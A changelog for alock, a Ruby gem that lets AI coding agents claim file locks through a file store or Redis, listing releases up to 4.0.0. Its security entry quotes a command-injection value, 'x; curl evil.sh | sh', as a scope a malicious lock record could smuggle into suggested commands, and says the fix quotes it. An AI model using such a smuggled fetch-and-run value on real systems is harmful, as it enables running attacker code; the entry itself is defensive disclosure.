Changelog

Unreleased

4.0.0 - 2026-11-29

This release adds a Ruby API that runs every command in-process, lets the caller name the store its locks live in (-s, -u, AGENT_LOCK_REDIS_URL, alock switch-backend), and names Redis keys after the repository, so alock show can list them. Redis locks taken by 3.1.0 do not carry over: read "Upgrading from 3.1.0" first.

Upgrading from 3.1.0

  • Redis locks do not carry over (#25). Keys moved from agent-lock:<digest> to [alock-v4-<owner>/<repo>]-<sha256>:<id>, and this version neither reads nor reaps the old ones. Run alock release-all in every session before upgrading, and upgrade every host that shares a Redis together: a 3.1.0 host and a 4.0.0 host do not see each other's locks. alock show repos warns while old keys remain. On the file store, locks taken by 3.1.0 are still read, refused to others and released.
  • Three flags are renamed. alock acquire --force is --allow-wide. alock skills install --force (-f) is --overwrite, and its --into has no -o. From Ruby, Manager#acquire(force:) is wide: and Skill#install(force:) is overwrite:.
  • A fingerprint session gets a new holder id, once (#60). A running session that sets neither AGENT_ID nor CLAUDE_SESSION_ID no longer matches the locks it took with 3.1.0. Run alock release-all in it before upgrading, or clear them afterwards with alock break <path>.
  • alock list prints a table, and a store: line on STDERR (#46, #68). A script that read the text listing should read --json, which is still a bare array on STDOUT. A harness that reads both streams as one, or treats any STDERR output as a failure, sees one new line.
  • check answers FREE, not YOURS, for a scope wider than your own lock (#59). Holding lib/a.rb and asking about lib/** is FREE (:free from Ruby, [] with --json), because acquire would write a new lock there. A script that read YOURS as "this whole scope is mine" has to acquire the wider scope.
  • Scopes are compared with case folded, on every filesystem (#58). README.md and readme.md now conflict, on a case-sensitive filesystem too, where they are two files.
  • acquire --enforce freezes dotfiles (#61). Files in dot-directories now count toward the 500-file limit, so a whole-tree --enforce that fitted before may be refused: narrow the scope or pass --allow-wide.
  • A relative AGENT_LOCK_DIR is read from the root of the checkout (#50), not from the working directory. Locks 3.1.0 wrote from a subdirectory sit in a store under that subdirectory and are no longer read: release them before upgrading.
  • An AGENT_PARENT_ID that is set and empty means "no parent" (#23). It used to be ignored and the parent inferred, so a sub-agent with the variable exported empty by accident is now refused inside its orchestrator's lock. alock whoami names the cause.

Added

  • Agent::Lock::Facade: every command as a Ruby method, run in-process. Agent::Lock.local (file store), Agent::Lock.distributed (Redis, or RedisUnavailableError) and Agent::Lock.facade (Redis, else the file store). Thread-safe. A facade is bound by the checkout's backend marker like alock: it claims a new checkout for its backend and raises Store::Mismatch in one claimed for the other, so a facade and the CLI never take one scope in two stores. See README.md#ruby-api.
  • Agent::Lock::Refused and Agent::Lock::RedisUnavailableError.
  • Facade#acquire takes a block: it yields the result, returns the block's value, and releases afterwards, even when the block raises, breaks or throws. Only a lock this call took is released, so a nested block on a scope you already hold keeps the outer lock. A refused release does not replace the block's own exception.
  • Facade.new(async: true) and Agent::Lock.facade(async: true) add #async, which runs any lock method on concurrent-ruby's I/O pool and returns a Concurrent::Promises::Future. Arguments, keywords and blocks pass through as on a direct call. One facade's async calls run one at a time, in the order they were made. concurrent-ruby is not a direct dependency (dry-cli-ui currently installs it): add it to your Gemfile to rely on this; if it is missing, async: true raises LoadError naming the gem.
  • holder: on Facade.new and Agent::Lock.facade. :process, the default, ties a lock's liveness to the Ruby process holding the facade, so a host that crashes has its locks reaped; :session keeps alock's first-non-shell-ancestor rule. Only liveness changes: the holder id and the inferred parent still come from the session, so a script an agent runs is the same holder as that agent's alock.
  • session_name: on Facade.new, Agent::Lock.facade and every lock method (#19). It names the session (a plan id, say) in place of CLAUDE_SESSION_ID and the fingerprint, and ties its locks to no process: they survive a host's restarts, a restarted host that gives the same name holds them still, and they lapse when untouched for stale_minutes.
  • A holder can say it has no parent (#23): parent_id: false on Facade.new, Agent::Lock.facade and every lock method, and AGENT_PARENT_ID set and empty for alock. A service that names itself is otherwise inferred to be the child of the session that started it, and is not blocked by that session's locks. Unset still infers. Identity#parent_source answers :none for it.
  • Agent::Lock.distributed(redis_url:), memoized per URL. With no redis_url: a facade reads AGENT_LOCK_REDIS_URL, then REDIS_URL unless it is blank, then redis://127.0.0.1:6379/0, the local Redis alock tries (#44, #52).
  • alock --locking-strategy redis|filesystem (-s) and alock --redis-url URL (-u), on every command that reads or writes locks (#21). The caller names the store instead of leaving it to AGENT_LOCK_BACKEND or to whichever backend answers first, so an agent started by a dispatcher uses the dispatcher's store. --redis-url implies the Redis strategy and uses that one Redis with no fallback: a URL nobody answers on exits 2.
  • AGENT_LOCK_REDIS_URL: --redis-url from the environment, for a dispatcher to export to its agents. The facade reads it before REDIS_URL.
  • alock show repos and alock show repo owner/name, Redis only (#25, #32, #49). show repos tables each alock-v<major>-<owner>/<repo> with its lock count and the memory those keys use. show repo tables that repository's locks: scope, holder, how long held, whether the holder is alive on this machine, and the alock break command that drops it. show repo with no name reads the repository of the checkout it runs in, taken from its origin remote, and Facade#show_repo does the same for its dir:. A repository on another forge is named with its host, show repo gitlab.com/owner/name. Neither command reads the file store: when Redis has nothing and this checkout's locks are in the file store, both say so and point at alock list. show repos warns on STDERR when keys from an older gem are still under agent-lock:.
  • alock switch-backend redis|filesystem, which binds a checkout to the other store (#30, #62, #64). Releasing every lock never moved the backend marker, so the only way out of a mismatch was deleting .git/agent-locks/backend by hand. It refuses with exit 1 while the old store still holds this checkout's locks, interrupted ones included, and lists them. --discard-locks deletes them, thawing what they froze, and switches. -u names the Redis to switch to, which has to answer before anything is deleted. From Redis, only locks taken on this host in a worktree of this checkout count. When the old store is a Redis that no longer answers, --discard-locks switches anyway and says on STDERR which Redis was not read. switch-backend filesystem runs with AGENT_LOCK_REDIS_URL exported, and the command rebinds a checkout whose marker names no backend. A command that was waiting on the old store while the switch ran exits 2 and asks to be run again.
  • A backend mismatch prints HINT: run 'alock switch-backend <store>' on the line after the error, uncoloured, and so does a marker that names no backend. Agent::Lock::Error#command carries that command for any error that has one.
  • alock -h opens with a boxed title and the version, and links to the README's Ruby API section.

Changed

  • Breaking for Redis users: a lock key is [alock-v<major>-<owner>/<repo>]-<sha256>:<id> (#25). For github.com/kigster/laser-cutter on 4.x that label is [alock-v4-kigster/laser-cutter]. The SHA-256 is of repository@branch, so every worktree on that branch shares it, and a different branch hashes apart. A detached HEAD hashes host:worktree-path. list still reads every branch under the label, and the mutex is one per repository ([alock-v4-kigster/laser-cutter]-mutex), so a checkout that switched branches can still release the lock it took. GitHub keys drop the host. Any other forge keeps it, so gitlab.com/kigster/laser-cutter does not share a label with the GitHub repository. Every 4.x release shares the prefix, so hosts on different minors still exclude each other. Only a new major starts another one. Keys written as agent-lock:<digest> are not read and not reaped. Release them before upgrading, or delete them by hand when AGENT_LOCK_TTL_SECONDS is 0. The file store is unchanged.
  • Breaking: alock acquire --force is now --allow-wide, named for what it permits: --enforce freezing more than 500 files. The refusal says so.
  • Breaking: alock skills install --force (-f) is now --overwrite, and --into loses its -o short flag, which every CLI here reserves for --output.
  • Breaking (Ruby): Manager#acquire(force:) is now wide:, and Skill#install(force:) is now overwrite:, matching the CLI flags.
  • Breaking: scopes that differ only in case (README.md, readme.md) conflict on every filesystem (#58). A lock keeps the spelling and the id it was taken under.
  • Repository names are lower-cased whole, owner and repository as well as the host, so two clones whose remotes differ in case share their locks (#58). A remote that names a directory (/srv/git/App.git, file:///srv/git/App.git) keeps its case.
  • alock list (ls) prints this repository's locks as a table: namespace, holder, scope, status (active, stale, interrupted), and how long held (#46). Progress notes are omitted unless --notes, which prints them on the row under that lock. A file-store listing says so above the table: the namespace is the Redis label, and show does not read those locks.
  • alock list names the store in use on STDERR (store: ...): the file store's directory, or the Redis URL with any password masked and its namespace (#68). It does so in text and with --json. STDOUT is unchanged, so --json is still a bare array.
  • The mismatch error reads this tree's locks live in file, not redis. The old release them before switching backends is gone, since releasing them did not switch anything.
  • Requires Ruby 4.0 (#44). The gemspec said >= 3.2.0, but dry-cli-autocomplete 0.6, a runtime dependency, needs Ruby 4.0, so no 3.x Ruby could install the gem: CI tried 3.2 and 3.4, and bundle install failed on both.
  • --dir is offered only by commands that read a checkout's locks. version, whoami and skills no longer list a flag that did nothing.
  • Every command's help is rewritten: one-line descriptions that fit the command list, examples for break, resume and mine, and a top-level help that covers identity, backends and exit codes.
  • alock completion --help shows each install example once; the zsh one no longer names _alo.
  • The gemspec and README no longer describe the gem as part of agentilda.

Fixed

  • alock exits 2 with an ERROR: line on any error it did not expect. It used to print nothing and exit 0, so an acquire that died on a malformed REDIS_URL looked like a lock taken.
  • AGENT_LOCK_BACKEND=redis with no Redis answering no longer claims a virgin tree for Redis before failing.
  • An AGENT_LOCK_BACKEND that names no backend is refused before a virgin checkout is claimed, where 3.1.0 wrote the bad name into the marker (#62). A blank value counts as unset, and filesystem means file.
  • A backend marker that exists but cannot be read raises Store::Mismatch naming the read error, instead of being reported as empty.
  • The backend marker is written to a temp file and hard-linked into place, so a process that loses the race for a new checkout never reads it empty. A marker that stays empty raises Store::Mismatch instead of letting each caller pick its own backend.
  • An empty or whitespace-only AGENT_LOCK_DIR counts as unset, and a relative one resolves against the root of the checkout instead of the working directory, so every command in a checkout uses one store (#50).
  • Concurrent note calls on one lock no longer lose notes (#17): note, release, break, release-all, Manager#reap and the reaping before check, list and mine now run inside the store mutex, as acquire and resume already did.
  • The file store no longer raises Errno::ENOENT when several threads in one process rewrite the same lock (reaping, noting): each write gets its own temp file instead of one per process.
  • check no longer answers YOURS for a scope only partly covered by the caller's own lock (holding lib/a.rb, asking about lib/**). It answers FREE unless one of the caller's locks contains the whole scope, as acquire does (#59).
  • A live holder's lock is no longer reaped, and a fingerprint session no longer changes its name, when alock runs under another TZ or locale (#60). The holder's start time is recorded in UTC as started_at, where 3.1.0 stored ps output in the caller's time zone and language. The old started is still read and no longer written, so locks taken by 3.1.0 stay valid, and a 3.1.0 gem reading a new lock goes by the pid alone. list --json carries started_at beside started.
  • A fingerprint identity no longer contains spaces when the session's process has retitled itself (macOS reports a Claude Code background job as claude bg-spare). Only the first word is kept. Together with the UTC start time this gives a fingerprint session a new holder id once: see "Upgrading from 3.1.0".
  • A lock whose record names no pid is trusted for the stale window, like one held on another host, instead of being reaped at once as a dead holder's.
  • An intent that contains ## Progress no longer turns a dead holder's note-less lock into interrupted work (#52).
  • acquire --enforce freezes dotfiles and the contents of dot-directories (conf/.env, config/credentials/.key), which the glob used to skip while reporting the scope frozen (#61). Anything named .git, at any depth, and the lock store are never frozen.
  • acquire --enforce no longer overwrites the lock with the record it read before freezing. The write-back re-reads the lock under the store mutex, so a note written during the freeze is kept, a lock broken during the freeze stays broken, and another agent's lock taken in that window is neither replaced nor, on a freeze refused as too broad, deleted. A claim lost during the freeze is answered as :held, with the files thawed.
  • Files frozen with --enforce are thawed in the checkout that froze them when their lock is reaped, released, discarded or resumed from another worktree on the same machine (#54). They used to stay uchg with no record left to thaw them from.
  • An all-digit owner is no longer dropped from an scp-style remote (git@github.com:123/app.git), so SSH and HTTPS clones of such a repository share one lock namespace again (#53).
  • A remote whose password holds an unencoded @ (https://me:p@ss@github.com/o/r) no longer leaks the password's tail into the repository's name, and so into its Redis key, alock show and every lock record (#76). Its locks are filed under github.com/o/r, beside its teammates' clones, where 3.1.0 named the repository ss@github.com/o/r.
  • A Redis URL's password no longer appears in an error, in Store#describe or in inspect of a facade or a Redis store (#27, #28). 3.1.0 quoted the URL as given in the mutex timeout and when no Redis client could be built. The userinfo is masked as ***, also in a password that was never percent-encoded and holds a space, a / or an @, and in a URL with no scheme:// in front (rey:secret@host). alock masks any URL in an error it prints, whoever worded the error. A URL the facade cannot read raises ArgumentError: not a Redis URL: ..., masked and with no cause, in place of redis-rb's own error, which quoted the whole URL.
  • alock ignores the variables git exports to its hooks (GIT_DIR, GIT_INDEX_FILE and the rest of git rev-parse --local-env-vars), so a hook that runs it with --dir naming another checkout locks that checkout, not the hook's (#51).

Security

  • A lock record can no longer drive the terminal it is printed on (#31). Any process that can write to a shared Redis writes lock records, and alock printed their scope, agent ID and intent raw in about twenty places, so an escape sequence could clear the screen, rewrite earlier lines or show a fake link, and a scope like x; curl evil.sh | sh landed unquoted in a suggested alock break or alock resume line. Every printed field now goes through Agent::Lock::Text.printable, which shows C0 and C1 controls, DEL, bidi overrides and bytes that are not UTF-8 as escapes, and a scope inside a suggested command is shell-quoted. The facade's Refused messages are escaped the same way.

Removed

  • sig/agent/lock.rbs, an empty RBS stub. Types are declared in YARD.

Development

  • A lefthook pre-commit config (rubocop, the staged specs, gitleaks) and a gitleaks config.
  • Specs run from a git hook no longer rewrite the repository's own .git/config (#51). Git exports GIT_DIR and GIT_INDEX_FILE to hooks, so under the lefthook pre-commit job every git init and git remote a spec ran in a temp directory acted on the real repository: core.bare flipped to true and remote.origin.url was replaced. spec_helper.rb now drops every variable git rev-parse --local-env-vars lists, and lefthook.yml unsets them as well.
  • The spec suite no longer reaches Redis database 0, or an exported REDIS_URL or AGENT_LOCK_REDIS_URL (#56). Every Redis spec runs in the suite's own databases 15 and 14.
  • Seven examples that passed without testing what they describe now fail when the behaviour is removed (#63).
  • just clean no longer fails with exit 127, the just publish fallback no longer passes an option gem push rejects, and just release force-pushes only the tag being released instead of every local tag (#55).
  • just lint runs rubocop instead of the absent standardrb, and the just update-workflow recipe, which ran tilda, is gone.
  • rake doc builds the YARD site from .yardopts into the git-ignored doc/ and opens doc/index.html. Every class, method, constant and attribute is documented.
  • The coverage badge in docs/badges/ is rewritten only under COVERAGE=true (just test-coverage), so a plain rspec run leaves the checkout clean.
  • A scripted terminal demo, demo/alock.gif, shown at the top of the README: two agents and a sub-agent sharing one checkout (#70). demo/play.sh types and runs every command for real against a throwaway repository, with a fixed subtitle row and its pauses written into the script. just demo records it again with VHS from demo/alock.tape, and just demo-play plays it in the terminal. The gem does not ship demo/.

3.1.0 - 2026-11-23

This release makes agent-lock a distributed lock. Until 3.0.0 a lock was named after the checkout's absolute path, so even with every machine pointed at one Redis, /Users/a/repo and /home/b/repo were two unrelated namespaces: each machine saw only its own locks, and two agents on two hosts could both claim lib/billing/** on main and both be told they won. A lock now names the repository and branch, which every clone of a repository agrees on wherever it sits. Pointed at one REDIS_URL, every machine reads and writes the same locks under the same store-wide mutex, so a claim on one host is refused on another. See README.md#one-repository-many-machines.

Changed

  • Breaking for Redis users: locks are keyed by the repository and branch, not the checkout's absolute path. The Redis namespace is now agent-lock:<repository digest> and its mutex agent-lock-mutex:<repository digest>, where the repository is the normalized origin URL (git@github.com:a/b.git and https://github.com/a/b agree), else the root commit, else the path outside git. Two machines on one Redis, or two clones on one machine, now block each other on overlapping scopes of the same branch, and checkouts on different branches (worktrees, typically) still do not. Locks taken by an earlier version under the old path-keyed namespace are not seen, and are never reaped either: without an AGENT_LOCK_TTL_SECONDS they stay in Redis until deleted by hand. Release them before upgrading. The file store is unaffected, since its old records are still read and reaped in the checkout that wrote them.
  • Every lock records the repo and branch it was taken on. A lock written by an earlier version has neither, and is matched by its path on the host that wrote it.
  • release, note, break and resume find a lock this checkout took on another branch, so switching branches after claiming no longer strands it. That checkout still blocks itself on those files, since they are the same files on disk. release and note take the lock this session owns when another checkout holds the same scope on the new branch.
  • A detached HEAD is keyed by its path on its own host, so two machines with a checkout at the same path do not collide.
  • resume refuses (exit 1, HELD) when somebody claimed an overlapping scope while the work sat interrupted, and the resumed claim covers the branch the checkout is on now rather than the one the orphan was taken on.
  • Reaping a lock from another checkout or another machine no longer clears this checkout's freeze flags on files of the same relative name.
  • .ruby-version is back on 4.0.6. CI still runs the suite on both 4.0.6 and 4.1.0-preview1.

Fixed

  • erb is pinned off the yanked 6.1.0, which had made bundle install fail on a clean machine and in CI.
  • The CLI specs now stay on the test Redis database. Aruba ran them in its own environment, so on the Redis backend they wrote into database 0 of the developer's own Redis, and leftover locks leaked into later examples.

3.0.0 - 2026-10-13

Changed

  • Breaking: alock skill install and alock skill path are now alock skills install and alock skills path. The old skill spelling is gone.
  • alock skills install --help names every skill it installs, and renders at all: an empty example string used to crash dry-cli-help, and the launcher exited 0 with no output.
  • Development moves to Ruby 4.1.0-preview1 (.ruby-version). CI runs the suite on both 4.0.6 and 4.1.0-preview1, and rubocop on whatever .ruby-version names. required_ruby_version is unchanged.
  • Development and test gems are grouped in the Gemfile.
  • The spec suite uses a local Redis when one answers, even if REDIS_URL is set.

2.1.0 - 2026-09-30

Added

  • Help screens come from dry-cli-help: alock -h now opens with the gem's title and a description of what it does and how the two backends are chosen, lists commands in registration order, and wraps everything at 85 columns. The hand-written backend banner that used to print above dry-cli's own help is gone.

Changed

  • Finding a Redis now cascades: REDIS_URL is tried first when it is set, then redis://127.0.0.1:6379/0, and only when neither answers does a virgin tree default to the file store. Previously REDIS_URL replaced the local default rather than preceding it, so a shared Redis being down sent the tree straight to the filesystem even with one running locally. RedisStore.url now reports the URL that actually answered.

[0.2.0]

Added

  • An agent-lock skill, shipped in the gem under skills/, that teaches an agent to claim files: naming itself on every call, running alock in the checkout it writes, and claiming its own files inside an orchestrator's lock. alock skill install [--into DIR] [--force] copies it into a skills directory, and alock skill path prints where the bundled copy is. --for claude installs into ~/.claude/skills; without --for or --into, ~/.agents/skills is the default for most other agents.
  • AGENT_LOCK_MUTEX_TIMEOUT, the seconds a claim waits for the store's mutex.
  • whoami, which prints the name this session signs locks with, its parent, and where each came from.
  • A virgin tree now defaults to the Redis backend when one answers on REDIS_URL, and the file store when none does, rather than always defaulting to file. AGENT_LOCK_BACKEND still overrides it, and a tree that already has a backend recorded stays on it regardless of what Redis is doing. Two processes racing to decide the default for the same virgin tree are made to agree: the marker recording the choice is claimed with O_CREAT|O_EXCL, and every process builds from whichever value actually lands on disk rather than its own guess. See README.md#backends.
  • Colorized --help and error output via pastel, disabled automatically when stdout is not a terminal.
  • AGENT_LOCK_TEST_BACKEND, which runs the whole spec suite against Redis instead of the file store. CI now runs the suite once per backend.

Changed

  • The packaged gem no longer includes .plans/.
  • redis and pastel are now runtime dependencies of the gem, rather than gems you install yourself to opt into the Redis backend: deciding the default now means probing for Redis whether or not you asked for it.
  • A sub-agent that sets AGENT_ID but not AGENT_PARENT_ID takes its session's own name as its parent: CLAUDE_SESSION_ID if set, else the fingerprint. Claude Code runs sub-agents inside the parent's own process, so without this every sub-agent signed locks as the parent and none could block another.
  • Ownership no longer runs upwards. mine, release, release-all and note cover your own locks and your sub-agents', never your parent's, so a sub-agent finishing up no longer releases the orchestrator's claim.
  • A sub-agent asking for exactly its parent's scope is refused with exit 1 and told to claim something narrower.
  • A scope that is empty, or that resolves outside the tree, is refused with exit 2. An empty scope used to mean the whole tree, and /etc/passwd used to become a lock on the tree-local file passwd. Absolute paths inside the tree, globs included, are made relative.
  • list counts only live locks as held, lists interrupted ones separately, and tags a live lock past the stale window STALE, as do check and mine. --json carries stale.
  • Hints and error messages name the program that was run, alock or agent-lock.
  • whoami without AGENT_ID warns that every sub-agent of the session shares that name.

Fixed

  • A sub-agent claiming inside its parent's lock was told ALREADY YOURS and nothing was recorded, so two siblings could both claim the same file. The sub-agent now gets a lock of its own, which blocks its siblings.
  • Claims on overlapping scopes with different names raced: the conflict scan and the write were separate steps, and O_EXCL or SET NX only guard an identical scope. Ten parallel claims of lib/** and lib/aN.rb left up to eleven overlapping locks. Every claim now scans and writes under one store-wide mutex: flock on the file store, a leased SET NX PX key released by compare-and-delete on Redis.
  • Holding one file and asking for a wider scope answered ALREADY YOURS and wrote nothing, so the rest of the wider scope stayed open. Only a lock that contains the requested scope counts as already yours now.
  • A live holder's lock was reaped once it was older than the stale window, measured from when it was taken, so an agent working for more than two hours lost its lock while still writing. A lock on this machine is now cleared only when its holder has exited; one from another machine expires when untouched past the window, and note counts as a touch.
  • The resume and break hints printed before the listing they belong to whenever stdout and stderr went down one pipe, which is how an agent harness reads them. Stdout is flushed before a hint is written.
  • A scope starting with a dot, such as .plans/** or .github/**, produced a lock file whose name also started with one, and the file store's Dir.glob skipped it. The lock was written and then enumerated nowhere, so list, mine and check reported it absent and a second session was free to acquire an overlapping scope. Both agents were told they held it.

[0.1.0]

First release.

  • acquire, release, check, list, mine, release-all, break, plus note and resume for work a crash interrupted.
  • Session identity: AGENT_ID, else CLAUDE_SESSION_ID, else a fingerprint of the first ancestor process that is not a shell, so a lock survives the fresh shell an agent harness starts for every command.
  • Locks live in .git/agent-locks, one store per repository, shared by every worktree and untrackable by git.
  • Glob scopes, and a conflict rule that refuses rather than guesses.
  • Sub-agents work inside a parent's claim; siblings block each other.
  • Stale locks are reaped by liveness, and orphaned rather than deleted when they carry notes.
  • Optional Redis backend, chosen explicitly and recorded per tree.
  • Optional --enforce freeze via chflags uchg on macOS.